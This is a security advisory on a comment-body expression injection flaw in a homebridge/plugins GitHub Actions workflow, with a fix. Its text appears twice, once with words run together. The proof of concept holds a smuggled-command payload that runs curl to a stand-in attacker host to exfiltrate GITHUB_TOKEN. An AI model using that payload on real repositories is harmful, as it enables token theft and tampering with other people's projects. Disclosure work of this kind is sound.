Security Advisory: Expression Injection in homebridge/plugins plugin-checks-request.yml
Summary
The .github/workflows/plugin-checks-request.yml workflow in homebridge/plugins contains an expression injection vulnerability in the issue_comment handler that allows any GitHub user to execute arbitrary commands on the workflow runner by commenting on an issue with the request-verification label.
Details
The vulnerability exists in the "Check if should run" step (line 24):
FIRST_LINE=$(echo "${{ github.event.comment.body }}" | head -n 1 | tr -d ' \t\r')
The ${{ github.event.comment.body }} expression is interpolated directly into the run: block during GitHub Actions template evaluation, before bash executes. The surrounding double quotes provide no protection because the expression is resolved at the template level, not the shell level. An attacker can inject arbitrary shell commands by crafting a comment that closes the double quote and appends additional commands.
The workflow triggers on issue_comment: [created] which fires for comments from any GitHub user. The injection is evaluated unconditionally — the check for request-verification label and /check command occurs after the attacker-controlled expression has already been interpolated and executed by bash.
The step has access to GITHUB_TOKEN with default permissions. No custom secrets are present in the workflow.
Note: The workflow correctly mitigates github.event.issue.body on line 71 by passing it through an environment variable (ISSUE_BODY), but fails to apply the same pattern to github.event.comment.body on line 24.
Proof of Concept
- Find an open issue in https://github.com/homebridge/plugins/issues that has the
request-verification label (these are common in this repository as it handles plugin verification requests).
- Post a comment on that issue with the body:
"; curl https://ATTACKER-CONTROLLED-SERVER/exfil?t=$(printenv GITHUB_TOKEN | base64 -w0); echo "
- The workflow triggers on
issue_comment: [created].
- During template rendering,
${{ github.event.comment.body }} is substituted into the bash script, producing:
FIRST_LINE=$(echo ""; curl https://ATTACKER-CONTROLLED-SERVER/exfil?t=$(printenv GITHUB_TOKEN | base64 -w0); echo "" | head -n 1 | tr -d ' \t\r')
- The
curl command executes and exfiltrates the GITHUB_TOKEN.
Note: The injection executes regardless of whether the label check succeeds, because ${{ github.event.comment.body }} is resolved during template rendering before any bash conditional is evaluated.
Impact
- Confidentiality: An attacker can exfiltrate the
GITHUB_TOKEN and execute arbitrary commands on the runner, potentially accessing checked-out repository content and build artifacts. No custom secrets are exposed.
- Integrity: With the
GITHUB_TOKEN, an attacker can create reactions, post comments, and potentially manipulate labels or issue state depending on the token's effective permissions.
- Availability: An attacker could disrupt the plugin verification workflow by injecting commands that interfere with the build/check process.
This vulnerability is rated MEDIUM because: (1) only GITHUB_TOKEN is exposed without custom secrets, (2) the repository is public so code access provides limited additional value, and (3) exploitation requires a GitHub account (PR: Low).
Recommended Fix
Move github.event.comment.body to an environment variable, following the same pattern already used for github.event.issue.body on line 71:
- name: Check if should run
id: should-run
env:
COMMENT_BODY: ${{ github.event.comment.body }}
EVENT_NAME: ${{ github.event_name }}
HAS_VERIFICATION_LABEL: ${{ contains(github.event.issue.labels.*.name, 'request-verification') }}
PLUGIN_INPUT: ${{ inputs.plugin }}
COMMENT_ID: ${{ github.event.comment.id }}
run: |
if [[ "$EVENT_NAME" == "issues" ]] && [[ "$HAS_VERIFICATION_LABEL" == "true" ]]; then
echo "run=true" >> $GITHUB_OUTPUT
elif [[ "$EVENT_NAME" == "workflow_dispatch" ]] && [[ -n "$PLUGIN_INPUT" ]]; then
echo "run=true" >> $GITHUB_OUTPUT
elif [[ "$EVENT_NAME" == "issue_comment" ]]; then
FIRST_LINE=$(echo "$COMMENT_BODY" | head -n 1 | tr -d ' \t\r')
if [[ "$FIRST_LINE" == "/check" ]] && [[ "$HAS_VERIFICATION_LABEL" == "true" ]]; then
echo "run=true" >> $GITHUB_OUTPUT
echo "comment_id=$COMMENT_ID" >> $GITHUB_OUTPUT
else
echo "run=false" >> $GITHUB_OUTPUT
fi
else
echo "run=false" >> $GITHUB_OUTPUT
fi
Credits
This vulnerability was discovered and reported by Sergio Cabrera.
References
Timeline
- 2026-02-27: Vulnerability discovered
- 2026-02-27: Advisory submitted
Security Advisory: Expression Injection in homebridge/plugins plugin-checks-request.yml
Summary
The
.github/workflows/plugin-checks-request.ymlworkflow inhomebridge/pluginscontains an expression injection vulnerability in theissue_commenthandler that allows any GitHub user to execute arbitrary commands on the workflow runner by commenting on an issue with therequest-verificationlabel.Details
The vulnerability exists in the "Check if should run" step (line 24):
FIRST_LINE=$(echo "${{ github.event.comment.body }}" | head -n 1 | tr -d ' \t\r')The
${{ github.event.comment.body }}expression is interpolated directly into therun:block during GitHub Actions template evaluation, before bash executes. The surrounding double quotes provide no protection because the expression is resolved at the template level, not the shell level. An attacker can inject arbitrary shell commands by crafting a comment that closes the double quote and appends additional commands.The workflow triggers on
issue_comment: [created]which fires for comments from any GitHub user. The injection is evaluated unconditionally — the check forrequest-verificationlabel and/checkcommand occurs after the attacker-controlled expression has already been interpolated and executed by bash.The step has access to
GITHUB_TOKENwith default permissions. No custom secrets are present in the workflow.Note: The workflow correctly mitigates
github.event.issue.bodyon line 71 by passing it through an environment variable (ISSUE_BODY), but fails to apply the same pattern togithub.event.comment.bodyon line 24.Proof of Concept
request-verificationlabel (these are common in this repository as it handles plugin verification requests).issue_comment: [created].${{ github.event.comment.body }}is substituted into the bash script, producing:FIRST_LINE=$(echo ""; curl https://ATTACKER-CONTROLLED-SERVER/exfil?t=$(printenv GITHUB_TOKEN | base64 -w0); echo "" | head -n 1 | tr -d ' \t\r')curlcommand executes and exfiltrates theGITHUB_TOKEN.Note: The injection executes regardless of whether the label check succeeds, because
${{ github.event.comment.body }}is resolved during template rendering before any bash conditional is evaluated.Impact
GITHUB_TOKENand execute arbitrary commands on the runner, potentially accessing checked-out repository content and build artifacts. No custom secrets are exposed.GITHUB_TOKEN, an attacker can create reactions, post comments, and potentially manipulate labels or issue state depending on the token's effective permissions.This vulnerability is rated MEDIUM because: (1) only
GITHUB_TOKENis exposed without custom secrets, (2) the repository is public so code access provides limited additional value, and (3) exploitation requires a GitHub account (PR: Low).Recommended Fix
Move
github.event.comment.bodyto an environment variable, following the same pattern already used forgithub.event.issue.bodyon line 71:Credits
This vulnerability was discovered and reported by Sergio Cabrera.
References
Timeline